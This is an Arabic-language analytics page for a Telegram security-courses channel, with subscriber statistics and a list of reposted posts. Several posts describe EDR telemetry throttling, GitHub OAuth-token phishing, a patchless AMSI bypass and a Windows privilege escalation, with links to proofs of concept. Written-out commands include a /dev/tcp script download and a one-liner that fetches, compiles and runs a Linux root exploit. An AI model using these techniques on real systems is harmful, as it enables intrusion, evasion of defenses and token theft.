متاح الآن! بحث تيليغرام 2025 — أهم رؤى العام 
All Security Engineering Courses
الذهاب إلى القناة على Telegram
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام All Security Engineering Courses
تُعد قناة All Security Engineering Courses (@allsecurityengineeringcourses) في القطاع اللغوي الإنكليزية لاعباً نشطاً. يضم المجتمع حالياً 18 767 مشتركاً، محتلاً المرتبة 7 170 في فئة التكنولوجيات والتطبيقات والمرتبة 36 049 في منطقة روسيا.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 18 767 مشتركاً.
بحسب آخر البيانات بتاريخ 09 يونيو, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 123، وفي آخر 24 ساعة بمقدار 7، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 10.48%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 2.90% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 1 967 مشاهدة. وخلال اليوم الأول يجمع عادةً 545 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 3.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل git, strace, github, linux, docker.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 10 يونيو, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
18 767
المشتركون
+724 ساعات
+167 أيام
+12330 أيام
جاري تحميل البيانات...
القنوات المماثلة
سحابة العلامات
الإشارات الواردة والصادرة
---
---
---
---
---
---
جذب المشتركين
يونيو '26
يونيو '26
+52
في 0 قنوات
مايو '26
+245
في 0 قنوات
Get PRO
أبريل '26
+165
في 0 قنوات
Get PRO
مارس '26
+92
في 0 قنوات
Get PRO
فبراير '26
+93
في 0 قنوات
Get PRO
يناير '26
+247
في 0 قنوات
Get PRO
ديسمبر '25
+252
في 2 قنوات
Get PRO
نوفمبر '25
+305
في 1 قنوات
Get PRO
أكتوبر '25
+388
في 1 قنوات
Get PRO
سبتمبر '25
+224
في 0 قنوات
Get PRO
أغسطس '25
+607
في 0 قنوات
Get PRO
يوليو '25
+84
في 0 قنوات
Get PRO
يونيو '25
+450
في 1 قنوات
Get PRO
مايو '25
+121
في 0 قنوات
Get PRO
أبريل '25
+81
في 1 قنوات
Get PRO
مارس '25
+38
في 0 قنوات
Get PRO
فبراير '25
+36
في 0 قنوات
Get PRO
يناير '25
+43
في 1 قنوات
Get PRO
ديسمبر '24
+139
في 0 قنوات
Get PRO
نوفمبر '24
+274
في 0 قنوات
Get PRO
أكتوبر '24
+265
في 0 قنوات
Get PRO
سبتمبر '24
+3 110
في 0 قنوات
Get PRO
أغسطس '24
+3 911
في 0 قنوات
Get PRO
يوليو '24
+1 619
في 0 قنوات
Get PRO
يونيو '24
+1 278
في 1 قنوات
Get PRO
مايو '24
+1 619
في 1 قنوات
Get PRO
أبريل '24
+1 749
في 0 قنوات
Get PRO
مارس '24
+1 921
في 1 قنوات
Get PRO
فبراير '24
+1 487
في 1 قنوات
Get PRO
يناير '24
+1 200
في 0 قنوات
Get PRO
ديسمبر '23
+846
في 0 قنوات
| التاريخ | نمو المشتركين | الإشارات | القنوات | |
| 10 يونيو | +3 | |||
| 09 يونيو | +8 | |||
| 08 يونيو | +9 | |||
| 07 يونيو | +1 | |||
| 06 يونيو | +1 | |||
| 05 يونيو | +6 | |||
| 04 يونيو | +11 | |||
| 03 يونيو | +4 | |||
| 02 يونيو | +7 | |||
| 01 يونيو | +2 |
منشورات القناة
Repost from ☠️ Hate Hacker™ 💻
Automatically change your IP Address every 10 seconds
A simple and efficient tool to automatically change your IP address using Tor network at regular intervals.🌀 Automatic IP rotation at user-defined intervals ⚡️ Uses Tor network for secure IP changes 🚀 Works on multiple Linux distributions ⚡️ Easy installation and setup 💘 Run without installation
Supported Distributions Arch Linux / Manjaro Debian / Ubuntu Kali Linux Parrot OS Fedora OpenSUSELink:- https://github.com/techchipnet/ip-changer Posted by @BugSec😈⭐️✅ Make Me Admin In Your Channel For Posting awesome content Learn Hacking From Basics to Elite Level💎
| 2 | EDRChoker
Client–server EDRs have an inherent weakness: they must maintain server connectivity to be effective. When isolated from their server they lose much of their capability, and administrators can no longer collect or monitor logs from those agents. EDRChoker uses policy-based Quality of Service (QoS) to throttle EDR agents to the lowest bandwidth; when agents attempt to connect they will consistently time out due to the extremely low bandwidth.
Blog: https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html
In this article I present a technique for interfering with the client–server connection of an EDR. It’s different from EDR connection-blocking methods that use the Windows Firewall or the Windows Filtering Platform (WFP). | 829 |
| 3 |  🔒 Проверка безопасности Linux за 5 минут — Lynis
Установка:
sudo apt install lynis
Запуск аудита:
sudo lynis audit system
Что проверяет:
⚫️Пароли и учётные записи
⚫️Права на файлы (/etc, /var, /tmp)
⚫️Сетевые настройки (SSH, firewall, открытые порты)
⚫️Логирование и доступ к логам
⚫️Наличие бэкдоров и rootkit
Пример вывода:
[+] SSH — рекомендовано использовать ключи вместо паролей
[!] /tmp не смонтирован с nodev
Фикс проблем:
sudo lynis audit system --quick
sudo lynis audit system --fix
🔥 Бонус: Lynis даёт готовый совет по каждой найденной проблеме.
😈 CodeGuard: PySec Edition | Чат | 1 638 |
| 4 | The Phishy GitHub Issue Case
As I’m interested in initial access, and more specifically in phishing, I started looking for ways to target developers. What platform every developers uses today? You guessed it right (or just correctly read the title of this blog post) : GitHub. It is advertised as “a platform to create, store, manage and share code”. Every developer has a GitHub account and getting access to it mean getting access to their code. However, I was looking for lesser-know phishing technique, that doesn’t employ the usual Attacker-in-The-Middle approach. I stumbled upon several articles mentioning Fake Security Alerts using GitHub issues. Naturally, I decide to take a look at what it was. So let’s see how to setup this scenario for your next phishing campaign!
MalGitApp
A simple OAuth App designed to capture OAuth tokens when users authenticate through GitHub OAuth flow. | 1 584 |
| 5 | CompTIA AutoOps+ AT0-001 Exam Objectives (2.0) | 1 808 |
| 6 |  🛡 AMSI Bypass via Page Guard
Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.
Суть: через NtProtectVirtualMemory на страницу памяти, содержащую AmsiScanBuffer, ставится PAGE_GUARD. При доступе к этой странице возникает STATUS_GUARD_PAGE_VIOLATION, который перехватывается через VEH.
Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на AMSI_RESULT_CLEAN и делает early return, эмулируя завершение функции без патча её байтов.
Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится STATUS_SINGLE_STEP, и PAGE_GUARD навешивается повторно.
Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.
В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.
📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/
💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust
#amsi #evasion #redteam #windows #maldev | 1 789 |
| 7 | https://referral.hackthebox.com/mzD7m9z | 2 738 |
| 8 |  Most beginners quit Terraform before building their first real infrastructure.
Not because Terraform is hard - the learning path is just scattered.
So I turned it into a simple 10-day visual roadmap.
Learn Terraform step by step:
Day 1–2 → Fundamentals and workflow
Day 3–4 → Variables, outputs, and state
Day 5–6 → Resources, dependencies, and modules
Day 7–8 → Expressions, lifecycle, and environments
Day 9–10 → Best practices, security, and a real mini project
The goal is simple: learn Terraform by building.
If you’re starting from zero, this roadmap is for you 🚀
https://medium.com/@thetechfusionist/terraform-in-10-days-from-beginner-to-building-real-infrastructure-4ee1da613188 | 3 023 |
| 9 | 😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
• Поиск API-ключей и секретов
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
• Обнаружение опасных вызовов функций
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
• Проверка манипуляций с URL
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
• Поиск междоменных запросов
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
• Анализ использования postMessage
cat * | grep -r "postMessage"
• Поиск захардкоженных URL или эндпоинтов
cat * | grep -rE "https?://|www\."
• Поиск отладочной информации
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
• Исследование обработки пользовательского ввода
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms" | 0 |
| 10 | 😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
• Поиск API-ключей и секретов
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
• Обнаружение опасных вызовов функций
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
• Проверка манипуляций с URL
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
• Поиск междоменных запросов
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
• Анализ использования postMessage
cat * | grep -r "postMessage"
• Поиск захардкоженных URL или эндпоинтов
cat * | grep -rE "https?://|www\."
• Поиск отладочной информации
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
• Исследование обработки пользовательского ввода
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms" | 2 614 |
| 11 | https://github.com/1N3/Sn1per | 2 152 |
| 12 |  MiniPlasma (Windows unpatched LPE)
CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition. | 2 119 |
| 13 |  В модуле File Transfers подметил один из интересных способов передачи файлов на linux, через /dev/tcp если вдруг вы сильно ограничены в инструментарии. Версия bash от 2.04 и выше.
Connect to the Target Webserver
exec 3<>/dev/tcp/10.10.10.32/80
HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
cat <&3 | 2 589 |
| 14 | #Analytics
#Threat_Research
"Global Report by Kaspersky Security Services: Anatomy of a Cyber World", 2026.
// Effectively prioritize your investment in cybersecurity through understanding your adversaries and the attack methods targeting your industry and region | 2 972 |
| 15 | Linux Automation | 3 152 |
| 16 |  Dirty Frag: Universal Linux LPE
One-line specialgit clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
📱 https://github.com/V4bel/dirtyfrag | 3 426 |
| 17 | 🟢 eLearnSecurity Mobile Application Penetration
Testing (eMAPT) Notes ANDROID by Joas | 3 048 |
| 18 | RTG_ADCS_Exploitation_Guide_COMPLETE.pdf | 3 334 |
| 19 | AD in GOAD For OSCP.pdf | 0 |
| 20 | 15-stage Windows malware development & analysis course in Rust. Red team builds it, blue team detects it. All 15 binaries achieved 0/76 on VirusTotal.
https://github.com/F2u0a0d3/goodboy-framework
#cours #books | 0 |
